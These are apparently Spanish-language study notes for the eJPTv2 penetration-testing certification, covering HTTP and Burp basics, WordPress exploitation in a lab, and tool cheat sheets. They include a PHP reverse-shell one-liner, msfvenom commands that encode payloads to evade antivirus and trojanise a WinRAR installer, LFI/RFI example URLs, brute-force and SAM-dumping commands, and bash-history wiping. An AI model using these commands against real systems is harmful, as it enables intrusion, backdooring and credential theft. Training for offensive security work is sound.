Descargas de archivos
Descargar todo en /tmp o crearlo sino existe
cd /tmp
o
mkdir /tmp |
Cuando se reinicie la maquina todos los archivos se borraran |
Borrar historial de comandos
| history |
Muestra los comandos ejecutados |
| history -c |
Limpia el history |
| cat /dev/null > ~/.bash_history |
Limpiar el archivo .bash_history si existe |
eJPTv2
6. Post Explotacion
Indice Postexplotacion
-
Enumeracion del sistema y mejora del shell
-
Mejorar shell
- [[1. Mejorando Shell a Meterpreter desde MSF]]
-
Enumeracion MSF y Meterpreter
- [[1. Enumeracion MSF - meterpreter]]
- [[2. Modulos MSF Enumeracion PostExplotacion Windows]]
- [[3 Modulos MSF Enumeracion PostExplotacion Linux]]
-
Enumeracion manual
-
Windows
- [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/1. Windows/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
- [[2. Enumeracion de Users y Grupos]]
- [[3. Enumeracion local]]
- [[4. Enumeracion Procesos y Servicios]]
- [[5. Automatica]]
-
Linux
- [[6. Post-Explotacion/1. Enumeracion del sistema y mejora del shell/3. Enumeracion Manual/2. Linux/1. Enumeracion de informacion del sistema|1. Enumeracion de informacion del sistema]]
- [[2. Enumeracion de usuarios y grupos]]
- [[3. Enumeracion de red]]
- [[4. Enumeracion Procesos y cronjobs]]
- [[5. Automatico]]
-
Escalada de Privilegios
-
Windows
- Kernel Exploits
- [[1. Windows-Exploit-Suggester]]
- Bypassing UAC
- [[1. Bypassing UAC]]
- Access Token Impersoante
- [[1. Access Token Impersonate]]
- Automatizacion identificar escalada
- [[1. PrivsCheck]]
-
Linux
- Kernel Exploits
- [[1. Kernel Exploits]]
- Cronjobs mal configurados
- [[1. Chrootkit como root cada minuto]]
- [[2. Cronjobs mal configurados]]
- SUID binarios
- [[1. Binarios SUID]]
- Permisos debiles
- [[1. Permisos debiles en archivos]]
- Sudo Privs
- [[1. Sudo Privs]]
- Autoamatizacion identificar escalada
- [[1. LinEnum]]
-
Credential Dumping
-
Windows
- [[1. Lsass y Hashdump]]
- [[2. Buscando Passwords en Config Files]]
- [[3. Mimikatz - Kiwi]]
- [[4. PTH]]
-
Linux
- [[1. Hashdump Linux]]
-
Crackeando hashes
- [[1. John]]
- [[2. Hashcat]]
- [[3. Crack_Linux Modulo MSF]]
-
Persistencia
-
Windows
- [[1. Modulo MSF - Persistence_Service]]
- [[2. Habilitar el RDP - Modulo MSF]]
-
Linux
- [[1. Comandos Linux Interesantes para persistencia]]
- [[2. Persistencia via SSH Keys]]
- [[3. Persistencia via cronjobs]]
-
Pivoting
- [[1. Pivoting]]
- [[2. Proxychains]]
-
Limpiando
- [[1. Limpiando Windows]]
- [[2. Limpiando Linux]]
eJPTv2
7. Webapp Server / 1. Webserver Vs Webapp
1. Webserver Vs Webapp
-
Webserver: sw que sirve el contenido web al cliente
- Recibe peticiones HTTP y devuelve contenido HTML, CSS, JS…
- Ejemplos: Apache HTTP Server, Nginx, IIS…
-
Webapp: logica:
- Logica y funcionalidad web
- Como se procesan los datos, interaccion BBDD, login…
Arquitectura webapp
![[Pasted image 20260318190824.png]]![[Pasted image 20260318190841.png]]
eJPTv2
7. Webapp Server / 2. HTTP
1. Solicitudes HTTP
Ejemplo de Solicitud HTTP
![[Pasted image 20260311151046.png]]
Metodos explicados
![[Pasted image 20260311151355.png]]
URL/PATH
Es la direccion donde el recurso/URI del cliente quiere acceder
El home page de una website es siempre /. Otras paginas del website se pueden acceder de asi: /downloads/index.html, por ejemplo
![[Pasted image 20260311151838.png]]
Los headers tiene el formato NOMBRE:VALOR
El host header permite al webserver hostear multiples websites en una unica IP. Nuestro browser indica en el host header que website esta interasado en entrear
![[Pasted image 20260311152023.png]]
Host value + PATH = URL –> En este caso –> www.google.com/
Se usa para especificar y enviar el navegador, version, SO y lenguaje al servidor remoto. Todos los navegadores tienen su propio user-agent
![[Pasted image 20260311152325.png]]
Usado por el navegador para especificar que tipo de documentos/archivos aceptamos de vuelta
![[Pasted image 20260311152429.png]]
Similar a Accept, usado para restringir el contenido encodeado que es aceptable como respuesta. Permite uso de documentos comprimidos o transformados sin perder el formato original y sin perdida de informacion
![[Pasted image 20260311152623.png]]
En HTTP 1.1 puedes mantener/reusar la conexion de un webserver remoto por un tiempo ilimitado usando keep-alive
Esto indica que todas las solicitudes al webserver continuaran enviandose a lo largo de la conexion sin iniciar una nueva conexion cada vez
![[Pasted image 20260311152906.png]]
eJPTv2
7. Webapp Server / 2. HTTP
2. Respuestas HTTP
- Response Headers
- Response Body (Opcional):
Codigos de estado
![[Pasted image 20260311154132.png]]
Ejemplo de Respuesta a una Solicitud HTTP
![[Pasted image 20260311153952.png]]
Status Line
Primera linea de una respuesta del protocolo HTTP 1.1 seguido del status code (200) y su resultado textual (OK)
![[Pasted image 20260311154108.png]]
Usado para indicar el dia y tiempo en el que se realizo la respuesta por el servidor
Ayuda al cliente e intermediarios a entender la velocidad de la respuesta y la sincronizacion
![[Pasted image 20260311154402.png]]
Permite al navegador y al servidor llegar a un acuerdo sobre el cache de reglas. Permite al servidor introducir clientes en el tiempo que puedan responder que se especifique y bajo las condiciones que se decidieron en el servidor
Esto ayuda a optimizar el rendimiento y eficacia de webapps reduciendo solicitudes innecesarias
![[Pasted image 20260311154638.png]]
Directivas Cache:
![[Pasted image 20260311154701.png]]
Respuesta HTTP usada para indicar el tipo de medio del contenido de respuesta
Le dice al cliente que tipo de datos de servidor son enviados para que el cliente pueda manejarlo correctamente
![[Pasted image 20260311154918.png]]
Muestra el WebServer Banner. Google usa uno customizado (Google Web Server)
![[Pasted image 20260311155010.png]]
eJPTv2
7. Webapp Server / 2. HTTP
3. HTTP Basic Lab
Comandos
| curl -v http://IP/ |
Con esto hacemos una solicitud basica al sitio web, es decir, un GET / y nos imprime por pantalla la respuesta del webserver |
![[Pasted image 20260311180333.png]]
Vemos nuestra solicitud con los headers y la respuesta con los headers del webserver. Debajo de esto arece el body que en este caso es el HTML de la pagina web
![[Pasted image 20260311180612.png]]
| curl -I http://IP/ |
Con el -I estamos enviando en vez de un GET /, enviamos un HEAD / |
![[Pasted image 20260311180753.png]]
Vemos que nos devuelve solo los headers de la respuesta
Si usamos -v veremos nuestra solicitud y la respuesta
![[Pasted image 20260311180907.png]]
| curl -v -X METHOD http://IP/ |
En la parte de METHOD podemos especificar cualquier metodo que queramos usar |
Por ejemplo usamos el METHOD –> OPTIONS para ver los metodos que podemos usar
![[Pasted image 20260311181117.png]]
Vamos a usar por ejemplo PUT que no esta soportado en este path
![[Pasted image 20260311181315.png]]![[Pasted image 20260311181326.png]]
En la respuesta estamos viendo 405 metodo no permitido. Tambien se muestra en el body
Burp Suite
![[Pasted image 20260311181443.png]]
![[Pasted image 20260311181537.png]]
Recargamos la pagina web en el navegador para que se realice una solicitud y burp suite la interceptara antes de que llegue al webserver
Repater de Burp
Esto es una herramienta que nos permite modificar y enviar rapidamente una solicitud sin tener que estar recargando todo el rato la pagina para hacer una solicitud nueva. Es como una copia de la solicitud capturada que se puede modificar y enviar infinitamente y cambiando los campos que queramos
Vamos a ver un ejemplo del formulario login. Vamos a http://IP/login.php o navegamos con el burp suite encendido a Login.
![[Pasted image 20260311183414.png]]
Burp Suite intercepta la solicitud y la pagina se quedara esperando sin entrar, la enviamos sin modificar nada ya que lo que queremos es probar el formulario:
![[Pasted image 20260311183511.png]]
![[Pasted image 20260311183625.png]]
Una vez aqui lo que queremos en enviar un usuario y pass de testeo para ver como se tramita la solicitud y respuesta (burp encendido):
![[Pasted image 20260311183720.png]]![[Pasted image 20260311183733.png]]
Burp intercepto la solicitud del POST del login
Que vemos nuevo:
- Metodo POST
- Campo Referer: de donde se origino la solicitud antes de enviarse
- Content Type
- Las creds pasadas en la solicitud separados por parametro:valor¶metro:valor
Lo enviamos al repeater:
![[Pasted image 20260311184211.png]]
Si lo enviamos tal cual vemos que en la respuesta no hay ningun mensaje de error pero no nos has dado acceso (Puede ser que por seguridad simplemente salga info de los errores):
![[Pasted image 20260311215303.png]]
Vamos a hacer tambien un brute force de directorios:
![[Pasted image 20260311215609.png]]![[Pasted image 20260311215740.png]]![[Pasted image 20260311215753.png]]
Vamos a visitar uploads con el burp encendido porque vamos a usar otros metodos que no son GET para ver si podemos subir algo a esta carpeta:
![[Pasted image 20260311215907.png]]
Lo interceptamos y lo mandamos al repeater:
![[Pasted image 20260311215928.png]]
Si lo mandamos tal cual vemos lo siguiente:
![[Pasted image 20260311215958.png]]
Si lo miramos sin burp se ve asi
![[Pasted image 20260311220021.png]]
Volvemos al burp y ponemos el metodo OPTIONS para ver so lo permite:
![[Pasted image 20260311220112.png]]
No vemos que permita PUT pero si vemos que es un DAV que es un servidor que nos permite mover, subir, descargar etc archivos en un web server. Potencialmente podriamos subir un archivo webshell de PHP (ya que era el lenguaje del backend)
| curl -v http://IP/uploads –upload-file /ruta/archivo |
Subir un archivo a una pagina web si lo permite como es el caso de un DAV |
![[Pasted image 20260311220422.png]]
Vamos a uploads apagando el proxy burp:
![[Pasted image 20260311220452.png]]
Se subio correctamente. si accedemos a el nos dice como usarlo:
![[Pasted image 20260311220524.png]]
Ponemos en la url lo siguiente:
![[Pasted image 20260311220547.png]]
Para hacer estas consultas mas rapido nos vamos a ayudar del repeater, volvemos a activar el burp y actualizamos la ruta en donde se encuentra el webshell:
![[Pasted image 20260311225549.png]]
![[Pasted image 20260311225746.png]]
Vamos a borrar el webshell de /uploads ya que podiamos ejecutar el metodo DELETE
![[Pasted image 20260311225918.png]]![[Pasted image 20260311225932.png]]![[Pasted image 20260311225950.png]]
Atajo para encodear a URL en repeater
Si seleccionamos algo y hacemos:
- Ctl U: codificamos en URL (Si le damos varias veces codificamos cada vez mas)
- Shift + Ctl U: decodificamos formato URL (Si le damos varias veces decodificamos cada vez mas)
Original:
![[Pasted image 20260311231212.png]]
Una vez Ctl U:
![[Pasted image 20260311231236.png]]
Otra vez:
![[Pasted image 20260311231258.png]]
Decodificamos Shift Ctl U:
![[Pasted image 20260311231322.png]]
Otra vez:
![[Pasted image 20260311231337.png]]
eJPTv2
7. Webapp Server / 3. Spidering Y Crawling
1. Crawling
El rastreo es el proceso de navegar en la aplicacion siguiendo los links, enviando formularios y loggeando donde sea posible con el objetivo de mapear y categorizar la webapp y los paths navegables
Podemos usar Burp Suite para rastreos pasivos que nos ayuden a mappear la aplicacion para un mejor entendimiento
Crawling con Burp
Navegamos a la webapp
![[Pasted image 20260312191728.png]]
Activamos en FoxyProxy el burp
![[Pasted image 20260312191804.png]]
Abrimos burp y lo dejamos apagado
![[Pasted image 20260312191943.png]]
Empezamos a navegar por el website, moviendonos entre hipervinculos y secciones como Login/Register y nos loggeamos…
Tras esto si volvemos a burp y vamos a target veremos todo el trafico y las URLs que hemos visitado al movernos por el webapp:
![[Pasted image 20260312192202.png]]
Si desplegamos lo de la izquierda veremos que esta haciendo una estructura del target: segundo donde estemos pulsando:
![[Pasted image 20260312192242.png]]
Lo ha dividido en http y https
Vemos por ejemplo el POST de nuestro form al intentar loggearnos:
![[Pasted image 20260312192342.png]]
eJPTv2
7. Webapp Server / 3. Spidering Y Crawling
2. Spidering
Proceso de descubrir automaticamente nuevos recursos (URLs) en una webapp o website
Suele empezar con una lista de URLs llamadas semillas, despues el Spider visita las URLs e identifica hiperlinks en la pagina y los anade a la lista de URLs que visitar y lo repite
Esto puede ser ruidoso y es considerado como una tecnica de recopilacion de informacion activa
Podemos usar OWASP ZAP para automatizar el proceso
Spidering con ZAP
Dejamos el foxy proxy iniciado en burp y ceramos burp. Abrimos ZAP:
![[Pasted image 20260312192743.png]]
Recargamos la pagina y una vez se reinicie vemos
![[Pasted image 20260312192900.png]]
Ahora vamos a Tools > Spider
![[Pasted image 20260312192929.png]]
Configuramos el spider:
![[Pasted image 20260312192951.png]]
Le anadimos un limite de recursividad hacia abajo:
![[Pasted image 20260312193031.png]]
Empezara a generar trafico GET:
![[Pasted image 20260312193101.png]]
![[Pasted image 20260312193121.png]]
Los rojos son hiperlinks externos y los verdes internos
Podemos pausar el scan, crear uno nuevo o pararlo completamente:
![[Pasted image 20260312193300.png]]
Esto es lo que hemos conseguido:
![[Pasted image 20260312193241.png]]
- Podemos exportar lo generado:
![[Pasted image 20260312193353.png]]![[Pasted image 20260312193401.png]]
Volviendo a lo interesante, por ejemplo el config.inc podemos abrirlo en un browser, dara error pero vemos la version de Apache:
![[Pasted image 20260312193512.png]]
![[Pasted image 20260312193522.png]]
Vemos un paswords:
![[Pasted image 20260312193608.png]]![[Pasted image 20260312193624.png]]
Vamos a abrir el phpmuamdin/index.html
![[Pasted image 20260312193816.png]]![[Pasted image 20260312193827.png]]
eJPTv2
7. Webapp Server / 4. Vuln Scan Nikto
1. Nikto
eJPTv2
7. Webapp Server / 5. Enumeracion Archivos Y Directorios
1. Fuerza Bruta Directorios Gobuster
Visto en: [[13. Gobuster]]
eJPTv2
7. Webapp Server / 6. Cms
1. Metodologia
-
Recopilacion de informacion y Enumeracion
- Escaneo de puertos y enumeracion de servicios
- Identificar la version del WP
- Enumerar/identifiar la lista de temas y plugins instalados en WP y sus versiones
- Realizar un file/directory enum para identificar recursos escondidos o sesibles
-
Vuln Scanning:
- Identificar malas confs y vulns comunes en WP
- Realizar escaneo de vulns automatico con herramientas como WPScan para identificar plugins y temas
-
Testeo de Autenticacion:
- Realizar fuerza bruta en /wp-admin.php p /wp-login.php para obtener creds validas
- Testear WP para vulnerabilidades de manejo de sesion
-
Explotacion:
- Identificar y explotar vulns conocidas publicamente en temas y plugins WP (XSS, SQLi…)
-
Post-Explotacion
- Establecer persistencia en WP/webserver via webshells o backdoors
- Exfiltrar datos sensibles del WP o webserver
eJPTv2
7. Webapp Server / 6. Cms
2. Ejemplo Explotando Wp
Comandos
![[Pasted image 20260313153741.png]]
| Comandos |
Explicacion |
| sudo nmap -Pn -sS -sV -T4 IP |
Vemos un Apache 2.4.18 en Ubuntu en el puerto 80 |
| nikto -h http://IP |
|
| ![[Pasted image 20260313153929.png]] |
|
| Confirmamos la version |
|
| wpscan –url http://IP |
Enumera plugins, temas… |
![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]]
![[Pasted image 20260313154159.png]]
![[Pasted image 20260313154235.png]]
![[Pasted image 20260313154257.png]]
XML RPC acelera el brute forcing
Hemos visto que hay un /robots.txt
![[Pasted image 20260313154142.png]]
Tambien que hay un wp-content/uploads que podemos mirar
![[Pasted image 20260313154207.png]]
Tambien vimos WP version y temas y plugins que pueden ser vulnerables o que ya no tienen mantenimiento
![[Pasted image 20260313154500.png]]
![[Pasted image 20260313154524.png]]
No signidica que sea el unico, se puede pasar una wordlist
| wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt |
Ataque de fuerza bruta: -U usuario -P /wordlist |
![[Pasted image 20260313154740.png]]
Vamos a /wp-login.php o /wp-admin.php
![[Pasted image 20260313154817.png]]
![[Pasted image 20260313154829.png]]
Vamos a añadir un usuario para la persistencia por ejemplo:
![[Pasted image 20260313154909.png]]
Si volvemos a enumerar usuario con -eu encontraremos a system:
![[Pasted image 20260313154950.png]]
Ejemplo con Burp de como explotar wp y postexplotacion
![[Pasted image 20260313155847.png]]![[Pasted image 20260313155903.png]]![[Pasted image 20260313155922.png]]
![[Pasted image 20260313160036.png]]
![[Pasted image 20260313160049.png]]
![[Pasted image 20260313155948.png]]![[Pasted image 20260313160013.png]]
Vemos ahi temas y plugins fuera de version
![[Pasted image 20260313160208.png]]![[Pasted image 20260313160215.png]]
![[Pasted image 20260313160405.png]]![[Pasted image 20260313160425.png]]
admin:admin por probar
![[Pasted image 20260313160509.png]]
Lo enviamos al intruder para hacer fuerza bruta desde Burp
![[Pasted image 20260313160530.png]]![[Pasted image 20260313160613.png]]
Vamos a payloads
![[Pasted image 20260313160638.png]]![[Pasted image 20260313160700.png]]
Start attack
![[Pasted image 20260313160728.png]]
Todos nos estan dando 200 porque no hay errores en la pagina pero debemos buscar el que tenga una longitud diferente
![[Pasted image 20260313160811.png]]
Si miramos la respuesta
![[Pasted image 20260313160827.png]]
Vamos a probarlo (Quitamos el proxy on antes)
![[Pasted image 20260313160902.png]]![[Pasted image 20260313160910.png]]
Estamos dentro. Vimos antes que teniamos un plugin desactualizado llamado wp-responsive-thumbnail-slider:
![[Pasted image 20260313160942.png]]
Aqui vemos que tiene la version 1.0
![[Pasted image 20260313161158.png]]
Es un txt con un PoC:
![[Pasted image 20260313161234.png]]![[Pasted image 20260313161247.png]]
Seguimos el PoC:
- Go To Add Image Section And Upload File By Self Plugin Uploader
- Then Upload File With Double Extension Image and By Using A BurpSuite Or Tamper Data Change The File Name From Shell.php.jpg To Shell.php
- And Shell Is Uploaded
![[Pasted image 20260313161449.png]]![[Pasted image 20260313161542.png]]
Add New
![[Pasted image 20260313161745.png]]![[Pasted image 20260313161841.png]]![[Pasted image 20260313161851.png]]![[Pasted image 20260313161913.png]]![[Pasted image 20260313161926.png]]![[Pasted image 20260313161955.png]]
Lo cambiamos a shell.php y lo enviamos
![[Pasted image 20260313162011.png]]![[Pasted image 20260313162043.png]]
Si le damos a edit saldra el nombre que le ha dado el webserver:
![[Pasted image 20260313162156.png]]
Encemos burp de nuevo y Clickamos en su hipervinculo:
![[Pasted image 20260313162225.png]]
![[Pasted image 20260313162300.png]]
Lo mandamos al repeater:
![[Pasted image 20260313162347.png]]
Ya podemos ejecutar comandos, vamos a subir un revershell, pero primero abrimos un netcat:
![[Pasted image 20260313162533.png]]
php -r ‘$sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
![[Pasted image 20260313162648.png]]
Lo pasamos a formato URL 1 vez y probamos:
![[Pasted image 20260313162722.png]]![[Pasted image 20260313162734.png]]
Obtuviemos el reverse shell:
![[Pasted image 20260313162815.png]]
eJPTv2
7. Webapp Server
Indice Webapp Server
-
Webserver vs WebApp
- [[1. WebServer vs WebApp]]
-
HTTP
- [[1. Solicitudes HTTP]]
- [[2. Respuestas HTTP]]
- [[3. HTTP Basic Lab]]
-
Spidering y Crawling
- [[1. Crawling]]
- [[2. Spidering]]
-
Vuln Scan Nikto
- [[1. Nikto]]
-
Enumeracion archivos y directorios
- [[1. Fuerza bruta directorios gobuster]]
-
CMS
- [[1. Metodologia]]
- [[2. Ejemplo Explotando WP]]
eJPTv2
10. Herramientas
1. Fuerza Bruta Hydra Y MSF Login
MSF (modulos login)
Hydra
hydra -l <USER> -P /wordlist <TARGET> <PROTOCOLO>
eJPTv2
10. Herramientas
2. Crackmapexec
| Comandos |
Explicacion |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> |
Verificar creds |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> -x <COMANDOS> |
Ejecutar un comando |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –sam |
Obtener hashes SAM |
| crackmapexec <PROTOCOLO> IP|target -u <USER> -p <PASSWORD> –users |
Enumerar usuarios |
eJPTv2
10. Herramientas
3. Msfvenom
Creacion de payloads
msfvenom -p <sistema/(arquitectora x64/x86)/(meterpreter)/reverse_tcp> LHOST=<IP_LOCAL\> LPORT=<PUERTO_LOCAL> -f <EXTENSION\> > archivo.extension
Ejemplos
| Comandos |
Explicacion |
| msfvenom |
Menu de ayuda |
| msfvenom –list payloads |
Listar los payloads disponibles
Diferencias los stage payloads de los no:
- Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp - Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una |
| msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
-a x86: especificamos que la arquitectura es 32bits -p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits) - Se ponen las variables -f exe: se define la extension del archivo |
| msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe |
Para un 64bits |
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para Linux 32bits |
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe |
Para 64bits |
| msfvenom –list format |
Formatos en los que podemos crear el archivo |
Encodeando payloads para evitar AV
Encodear es un proceso de modificar el codigo shell del payload con el objetivo de modificar su firma
- Shellcode: Es una pieza de codigo tipicamente usada para explotacion que nos provee de un command shell remoto en el sistema objetivo
| Comandos |
Explicacion |
| msfvenom –list encoders |
Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son:
- cmd/powershell_base64 - x86/shikata_ga_nai: usaremos este para tanto windows como linux |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe |
Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran |
| -i 10 o –iterations 10 |
Numero de iteraciones |
|
|
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -i10 -e x86/shikata_ga_nai -f elf > nombre.exe |
Para Linux 32bits con 10 iteraciones |
Inyeccion payloads en ejecutables legitimos
| Comando |
Explicacion |
| Descargarnos WinRAR 32bits |
|
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe |
|
| -k |
Esta opcion hace que se ejecute el payload y luego vuelva con el codigo original haciendo que la ejecucion del programa parezca legitima.
Sin la k el programa original puede no abrirse, romperse o solo se ejecuta el payload |
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N -k -e x86/shikata_ga_nai -i 10 -f exe -x /ruta/winrar.exe > winrar.exe |
|
eJPTv2
10. Herramientas
4. Curl
eJPTv2
10. Herramientas
5. Dirb
eJPTv2
10. Herramientas
6. Xfreerdp
xfreerdp /u:<USER> /p:<PASSWORD> /v:<IP>
eJPTv2
10. Herramientas
7. Netcat
| Comandos |
Explicacion |
| nc –help |
-v: verbose -u: UDP option -l: listener -n: deshabilita la resolicion DNS de los hostnames -e COMANDO: ejecutar un comando especifico -p N: seleccionar puerto en el listener |
| nc IP PUERTO(80) |
Conectarnos a un puerto. No nos devuelve ningun banner |
| nc -nv IP PUERTO |
Nos conectamos sin resolucion DNS y con la opcion verbose. Vemos que la conexion si se esta realizando correctamente simplemente no tiene configurado un banner el servicio
Si nos diese connection refused puede que o no haya servicios en ese puerto o que haya algun firewall |
| nc -nvu IP 161 |
Se conecta por UDP al puerto 161 |
| nc -nvlp 1234 |
Nos ponemos en listening por el puerto 1234 TCP |
| nc -nvlup 1234 |
Nos ponemos en listening por el puerto 1234 UDP |
eJPTv2
10. Herramientas
8. John
PARA NTLM
| john –format=NT hashses.txt (–wordlist=/usr/share/wordlists/rockyou.txt) |
En este caso no hazi falta usar wordlist, la default sirve |
eJPTv2
10. Herramientas
9. Hashcat
PARA NTLM
| hashcat -a3 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt |
|
eJPTv2
10. Herramientas
10. Burp Suite
eJPTv2
10. Herramientas
11. Wpscan
| wpscan –url http://IP |
Enumera plugins, temas… |
| wpscan –url http://IP -eu |
-eu: Enumera Users |
| wpscan –url http://IP -U admin -P /usr/share/wordlist/100-common-passwords.txt |
Ataque de fuerza bruta: -U usuario -P /wordlist |
Enumeracion plugins,temas…
![[Pasted image 20260313154105.png]]![[Pasted image 20260313154126.png]]
![[Pasted image 20260313154159.png]]
![[Pasted image 20260313154235.png]]
![[Pasted image 20260313154257.png]]
Enumeracion users
![[Pasted image 20260313154500.png]]
![[Pasted image 20260313154524.png]]
eJPTv2
10. Herramientas
12. Nikto
| nikto -h target |
Realiza un escaneo del target
Veremos cosas como: - Version webserver - Lengua y version backend dado por el header “x-powered-by” - La variable de la cookie: PHPSESSID - /robots.txt esta presente - config directory si se encuentra - Otros directorios que se encuentren como phpmyadmin por ejemplo |
| nikto -h /URL/path -Tuning 5 -o nikto.html -Format htm |
Con esto podemos ver si en una url especifica hay alguna vuln de inclusion de archivos (En la vida real no va a haber una direccion que sea Local File Intrusion tan obvia pero es para demostrarlo)
-Tuning 5: limita el escaneo a vulns tipo 5 = file inclusion (tambien incluye RFI entre otras)
|
| Si ha nikto le especificas un path toma como objetivo ese path pero si le especificas el home page analiza el servidor web en general |
|
TUNINGS:
![[Pasted image 20260312214605.png]]
Ejemplo
Accedemos a la webapp
![[Pasted image 20260312205946.png]]
![[Pasted image 20260312210051.png]]
![[Pasted image 20260312210346.png]]
![[Pasted image 20260312210423.png]]![[Pasted image 20260312210528.png]]
![[Pasted image 20260312210615.png]]![[Pasted image 20260312210908.png]]
Si abrimos el html
![[Pasted image 20260312210947.png]]
Vemos un file inclusion vuln
![[Pasted image 20260312211028.png]]![[Pasted image 20260312211039.png]]
Ejemplo
![[Pasted image 20260312211636.png]]![[Pasted image 20260312211705.png]]![[Pasted image 20260312212415.png]]
Vemos version del webserver y PHP, paths interesantes, LFI y RFI (LFI basicamente es tratar de leer archivos locales mediante parametros que malinterpreta aplicacion web y RFI es tratar de incluir y ejecutar archivos en el servidor mediante parametros en la URL)
Ejemplo LFI: http://IP/recurso/../../../../../etc/passwd
Ejemplo RFI: http://IP/recurso/index.php?CONFIG[files][functions_page]=http://tu-servidor/test.txt
![[Pasted image 20260312212904.png]]![[Pasted image 20260312213025.png]]![[Pasted image 20260312213107.png]]
En esta parte del output ya estamos viendo 400 error o 200 success dependiendo del LFI usado
Pero este es el bueno que pone un +:
![[Pasted image 20260312213426.png]]
Si lo usamos:
![[Pasted image 20260312213457.png]]
Para una salida un poco mas limpia podemos hacer o quitar el -Display V (era el que saca toda la info):
![[Pasted image 20260312213630.png]]
O pasarlo a html y verlo:
![[Pasted image 20260312213822.png]]
![[Pasted image 20260312213857.png]]![[Pasted image 20260312213914.png]]
eJPTv2
10. Herramientas
13. Gobuster
gobuster dir -u http://URL/ -w <WORDLIST>
Encontrar directorios y archivos mediante fuerza bruta. Tambien se pueden vhosts y mas pero nos centramos en directorios
Parametros
WORDLIST : /usr/share/wordlist/dirb/common.txt
| Parametro |
Explicacion |
| -t N |
Sirve para añadir threads y hacerlo mas rapido (poner por lo menos 15) |
| -x extension,extension… |
Busca archivos con esas extensiones (ej. xml, php, conf) |
| -s 200,301… |
Solo se mostraran las salidas con esos result codes (whitelist) |
| -b 404,403… |
Excluye de la salida los que tengan esos result codes (blacklist) |
| –exclude-length N |
Excluir las salidas con un tamaño N |
| -r |
Follow the redirects, es decir, si hay una redireccion hara directamente la peticion a la redireccion para que no salte el 301
Gobuster no tiene modo recursive |
![[Pasted image 20260316205018.png]]
eJPTv2
10. Herramientas
14. Hydra
Servicios en general
| Comandos |
|
| hydra -l usuario -P wordlist IP protocolo |
|
| Comandos |
|
| hydra -l usuario -P wordlist IP http-post-form “ruta:parámetros:mensaje_error” |
GENERICO |
| hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect” |
EJEMPLO |
| hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V 10.129.96.84 http-post-form “/nibbleblog/admin.php:username=^USER^&password=^PASS^:S=Dashboard” |
Si nos da varias respuestas correctas debemos sacar la salida por una posible ruta que salga tras un login bueno |
eJPTv2
10. Herramientas
Indice Herramientas
[[1. Fuerza Bruta - Hydra y MSF login]]
[[2. Crackmapexec]]
[[3. Msfvenom]]
[[4. Curl]]
[[5. dirb]]
[[6. xfreerdp]]
[[7. Netcat]]
[[8. John]]
[[9. Hashcat]]
[[10. Burp Suite]]
[[11. WPScan]]
[[12. Nikto]]
[[13. Gobuster]]
eJPTv2
11. Transferencia De Archivos / 1. Server / 1. Python HTTP Server
1. Python HTTP Server
Python2
python -m SimpleHTTPServer 80
Python3
python3 -m http.server 80
eJPTv2
11. Transferencia De Archivos / 2. Client
1. Windows
Certutil
certutil -urlcache -f http://IP/nombre.exe\ <nombre.exe>
eJPTv2
11. Transferencia De Archivos / 2. Client
2. Linux
wget
wget http://IP/archivo\ -O <NOMBRE>
curl
curl http://IP/archivo\ -o <NOMBRE>
eJPTv2
11. Transferencia De Archivos
Indice Transferencia De Archivos
-
Crear servidor
- [[1. Python HTTP Server]]
-
Descargar como cliente
- [[1. Windows]]
- [[2. Linux]]
eJPTv2
12. Wordlists
1. Users Y Passwords
USERNAME:
- /usr/share/metasploit-framework/data/wordlist/common_users.txt
- /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt
PASSWORD:
- /usr/share/metasploit-framework/data/wordlist/common_pass.txt
- /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
- /usr/share/wordlist/rockyou.txt —> gunzip /ruta
eJPTv2
12. Wordlists
2. DNS
/usr/share/dnsenum/dns.txt
eJPTv2
12. Wordlists
3. Directorios, Recursos, Subdominio WEB
/usr/share/wordlist/dirb/common.txt
eJPTv2
12. Wordlists
4. Shells Y Cheatsheet Reverse Shells
Ubicacion
/usr/share/webshells/
Ahi tambien hay reverse y bind shells
Cheasheet
- PayloadsAllTheThings –> “https://github.com/swiisskyrepo/PayloadAllTheThings/blob/master/Methodology and Resouces/Reverse Shell Cheatsheet.md” <– COPIAR TODO EN EL NAVEGADOR
![[Pasted image 20260318165245.png]]
- Revshells –> https://www.revshells.com/
